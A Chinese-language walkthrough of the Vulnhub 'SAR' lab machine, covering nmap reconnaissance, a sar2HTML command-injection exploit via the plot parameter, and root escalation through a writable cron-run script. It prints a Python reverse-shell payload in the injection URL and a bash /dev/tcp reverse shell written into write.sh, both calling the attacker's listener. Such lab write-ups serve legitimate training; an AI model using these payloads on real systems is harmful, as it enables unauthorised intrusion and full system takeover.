SAR靶机笔记
SAR 靶机笔记
概述
SAR 是 Vulnhub 上的靶机,大家可以去 vulnhub 网站上去进行下载。
这里有链接: https://download.vulnhub.com/sar/sar.zip
一丶常规的 nmap 扫描
1)主机发现
sn 只做 ping 扫描,不做端口扫描
nmap -sn 192.168.84.1/24
MAC Address: 00:50:56:FA:CB:D3 (VMware)
Nmap scan report for 192.168.84.132
Host is up (0.00041s latency).
这里可以看到靶机 ip:192.168.84.132
2)端口扫描
sT tcp 扫描 min-rate 指定最低速率 -p- 指定全端口 -o 指定输出路径
nmap -sT --min-rate 10000 -p- 192.168.84.132 -o ports
Starting Nmap 7.93 ( https://nmap.org ) at 2024-08-16 22:01 EDT
Nmap scan report for 192.168.84.132
Host is up (0.00019s latency).
Not shown: 65534 closed tcp ports (conn-refused)
PORT STATE SERVICE
80/tcp open http
Nmap done: 1 IP address (1 host up) scanned in 1.67 seconds
3)详细信息扫描
nmap -sT -sV -sC -p80 192.168.84.132 -o details
Starting Nmap 7.93 ( https://nmap.org ) at 2024-08-16 22:12 EDT
Nmap scan report for 192.168.84.132
Host is up (0.00019s latency).
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-title: Apache2 Ubuntu Default Page: It works
|_http-server-header: Apache/2.4.29 (Ubuntu)
MAC Address: 00:0C:29:11:2F:03 (VMware)
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.65 seconds
4)默认漏洞脚本扫描
nmap --script=vuln 192.168.84.132 -o vuln
Starting Nmap 7.93 ( https://nmap.org ) at 2024-08-16 22:14 EDT
Nmap scan report for 192.168.84.132
Host is up (0.00018s latency).
Not shown: 999 closed tcp ports (reset)
PORT STATE SERVICE
80/tcp open http
|_http-csrf: Couldn't find any CSRF vulnerabilities.
|_http-dombased-xss: Couldn't find any DOM based XSS.
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
| http-enum:
| /robots.txt: Robots file
|_ /phpinfo.php: Possible information file
MAC Address: 00:0C:29:11:2F:03 (VMware)
Nmap done: 1 IP address (1 host up) scanned in 31.80 seconds
可以看到扫描出 robots.txt
、phpinfo.php
文件
二、web 渗透
打开主页
看到是默认页面
robots.txt
phpinfo.php
1)发现 cms
robots.txt 中有内容首先想到可能是目录,访问一下
![image-20240817110903529](https://img2024.cnblogs.com/blog/2769156/202408/2769156-20240817132331912-44671110.png)
看到就是一个 cms 的页面,sar2HTML
我们去 searchsploit 里面搜索一下这个 cms,看看有没有什么漏洞
searchsploit sar2html
看到有两个,版本也是一致的
searchsploit -m 47204
把 txt 的下载下来啊 这两个是都可以的喜欢用那个就用那个
cat 47204.txt
# Exploit Title: sar2html Remote Code Execution
# Date: 01/08/2019
# Exploit Author: Furkan KAYAPINAR
# Vendor Homepage:https://github.com/cemtan/sar2html
# Software Link: https://sourceforge.net/projects/sar2html/
# Version: 3.2.1
# Tested on: Centos 7
In web application you will see index.php?plot url extension.
http://<ipaddr>/index.php?plot=;<command-here> will execute
the command you entered. After command injection press "select # host" then your command's
output will appear bottom side of the scroll screen.
读一下介绍还是挺详细的,在 index.php 的页面里有一个 plot 参数可以命令执行。
三、获得立足点
http://192.168.84.132/sar2HTML/index.php?plot=;python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.84.128",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
用 python3 的反弹命令
成功获得立足点
四、提权到 root
查看定时任务
cat /etc/crontab
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.
SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
# m h dom mon dow user command
17 * * * * root cd / && run-parts --report /etc/cron.hourly
25 6 * * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6 1 * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
#
*/5 * * * * root cd /var/www/html/ && sudo ./finally.sh
有一个执行 finally.sh 的命令
我们去看看这个文件内容
cat finally.sh
#!/bin/sh
./write.sh
他执行了当前目录下的 write.sh
文件
我们在看看 write.sh
文件
cat ./write.sh
#!/bin/sh
touch /tmp/gateway
是一个创建文件的命令
看一下权限
我们只对 write.sh
有操作权限,可以把他修改为一个反弹 shell 的命令,获得 root 的 shell
我们在卡一个 kali 的终端
nc -lvp 8888
在 www-data
的命令行执行,如下命令
echo "bash -c 'bash -i >& /dev/tcp/192.168.84.128/8888 0>&1‘" >./write.sh
等待 5 分钟
root@sar:/var/w/html# cd/rootcd/root
root@sar:~# ls
root.txt
snap
root@sar:~#cat root.txt
66f93d6b2ca96c9ad78a8a9ba0008e99
root@sar:~#
成功获取到 root 权限
总结
- 先用 nmap 扫描,发现目标靶机开启了 80 端口 http 的常规服务,并发现几个常规的路径
- 访问 80 端口暴露出来的路径,在
robots.txt
中发现sar2HTML
目录,打开后看到一个 cms 框架 - 在 searchsploit 中搜走 sar2HTML 找到 RCE 漏洞
- 利用 RCE 漏洞获得立足点
- 利用定时任务提权到了 root